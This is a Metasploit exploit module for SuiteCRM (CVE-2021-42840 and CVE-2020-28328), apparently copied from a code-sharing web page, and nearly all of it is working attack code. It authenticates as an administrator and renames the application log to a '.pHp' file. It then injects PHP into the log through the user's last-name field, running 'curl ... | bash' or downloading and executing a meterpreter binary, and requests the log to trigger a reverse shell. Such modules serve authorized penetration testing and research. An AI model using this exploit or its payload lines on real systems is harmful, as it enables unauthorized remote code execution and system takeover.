扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'SuiteCRM Log File Remote Code Execution', 'Description' => %q{ This module exploits an input validation error on the log file extension parameter. It does not properly validate upper/lower case characters. Once this occurs, the application log file will be treated as a php file. The log file can then be populated with php code by changing the username of a valid user, as this info is logged. The php code in the file can then be executed by sending an HTTP request to the log file. A similar issue was reported by the same researcher where a blank file extension could be supplied and the extension could be provided in the file name. This exploit will work on those versions as well, and those references are included. }, 'License' => MSF_LICENSE, 'Author' => [ 'M. Cory Billington' # @_th3y ], 'References' => [ ['CVE', '2021-42840'], ['CVE', '2020-28328'], # First CVE ['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue. ['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit ['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit ], 'Platform' => %w[linux unix], 'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86], 'Targets' => [ [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Privileged' => true, 'DisclosureDate' => '2021-04-28', 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']), OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']), OptString.new('PASS', [true, 'Password for administrator', 'admin']), OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]), OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']), OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin']) ] ) end def check authenticate unless @authenticated return Exploit::CheckCode::Unknown unless @authenticated version_check_request = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => true, 'vars_get' => { 'module' => 'Home', 'action' => 'About' } } ) return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request version_match = version_check_request.body[/ Version \s \d{1} # Major revision \. \d{1,2} # Minor revision \. \d{1,2} # Bug fix release /x] version = version_match.partition(' ').last if version.nil? || version.empty? about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About" return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.") end patched_version = Rex::Version.new('7.11.18') current_version = Rex::Version.new(version) return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version Exploit::CheckCode::Safe("SuiteCRM #{version}") end def authenticate print_status("Authenticating as #{datastore['USER']}") initial_req = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'index.php'), 'keep_cookies' => true, 'vars_get' => { 'module' => 'Users', 'action' => 'Login' } } ) return false unless initial_req && initial_req.code == 200 login = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'index.php'), 'keep_cookies' => true, 'vars_post' => { 'module' => 'Users', 'action' => 'Authenticate', 'return_module' => 'Users', 'return_action' => 'Login', 'user_name' => datastore['USER'], 'username_password' => datastore['PASS'], 'Login' => 'Log In' } } ) return false unless login && login.code == 302 res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'index.php'), 'keep_cookies' => true, 'vars_get' => { 'module' => 'Administration', 'action' => 'index' } } ) auth_succeeded?(res) end def auth_succeeded?(res) return false unless res if res.code == 200 print_good("Authenticated as: #{datastore['USER']}") if res.body.include?('Unauthorized access to administration.') print_warning("#{datastore['USER']} does not have administrative rights! Exploit will fail.") @is_admin = false else print_good("#{datastore['USER']} has administrative rights.") @is_admin = true end @authenticated = true return true else print_error("Failed to authenticate as: #{datastore['USER']}") return false end end def post_log_file(data) send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'index.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'keep_cookies' => true, 'headers' => { 'Referer' => "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView" }, 'data' => data.to_s } ) end def modify_system_settings_file filename = rand_text_alphanumeric(8).to_s extension = '.pHp' @php_fname = filename + extension action = 'Modify system settings file' print_status("Trying - #{action}") data = Rex::MIME::Message.new data.add_part('SaveConfig', nil, nil, 'form-data; name="action"') data.add_part('Configurator', nil, nil, 'form-data; name="module"') data.add_part(filename.to_s, nil, nil, 'form-data; name="logger_file_name"') data.add_part(extension.to_s, nil, nil, 'form-data; name="logger_file_ext"') data.add_part('info', nil, nil, 'form-data; name="logger_level"') data.add_part('Save', nil, nil, 'form-data; name="save"') res = post_log_file(data) check_logfile_request(res, action) end def poison_log_file action = 'Poison log file' if target.arch.first == 'cmd' command_injection = "<?php <code>curl #{@download_url} | bash</code>; ?>" else @meterpreter_fname = "#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}" command_injection = %( <?php <code>curl #{@download_url} -o #{@meterpreter_fname}; /bin/chmod 700 #{@meterpreter_fname}; /bin/sh -c #{@meterpreter_fname};</code>; ?> ) end print_status("Trying - #{action}") data = Rex::MIME::Message.new data.add_part('Users', nil, nil, 'form-data; name="module"') data.add_part('1', nil, nil, 'form-data; name="record"') data.add_part('Save', nil, nil, 'form-data; name="action"') data.add_part('EditView', nil, nil, 'form-data; name="page"') data.add_part('DetailView', nil, nil, 'form-data; name="return_action"') data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"') data.add_part(command_injection, nil, nil, 'form-data; name="last_name"') res = post_log_file(data) check_logfile_request(res, action) end def restore action = 'Restore logging to default configuration' print_status("Trying - #{action}") data = Rex::MIME::Message.new data.add_part('SaveConfig', nil, nil, 'form-data; name="action"') data.add_part('Configurator', nil, nil, 'form-data; name="module"') data.add_part('suitecrm', nil, nil, 'form-data; name="logger_file_name"') data.add_part('.log', nil, nil, 'form-data; name="logger_file_ext"') data.add_part('fatal', nil, nil, 'form-data; name="logger_level"') data.add_part('Save', nil, nil, 'form-data; name="save"') post_log_file(data) data = Rex::MIME::Message.new data.add_part('Users', nil, nil, 'form-data; name="module"') data.add_part('1', nil, nil, 'form-data; name="record"') data.add_part('Save', nil, nil, 'form-data; name="action"') data.add_part('EditView', nil, nil, 'form-data; name="page"') data.add_part('DetailView', nil, nil, 'form-data; name="return_action"') data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"') data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name="last_name"') res = post_log_file(data) print_error("Failed - #{action}") unless res && res.code == 301 print_good("Succeeded - #{action}") end def check_logfile_request(res, action) fail_with(Failure::Unknown, "#{action} - no reply") unless res unless res.code == 301 print_error("Failed - #{action}") fail_with(Failure::UnexpectedReply, "Failed - #{action}") end print_good("Succeeded - #{action}") end def execute_php print_status("Executing php code in log file: #{@php_fname}") res = send_request_cgi( { 'uri' => normalize_uri(target_uri, @php_fname), 'keep_cookies' => true } ) fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404 register_files_for_cleanup(@php_fname) register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty? end def on_request_uri(cli, _request) send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' }) print_good("#{peer} - Payload sent!") end def start_http_server start_service( { 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => resource_uri } } ) @download_url = get_uri end def exploit start_http_server authenticate unless @authenticated fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin modify_system_settings_file poison_log_file execute_php ensure restore if datastore['RESTORECONF'] end end |
体验盒子
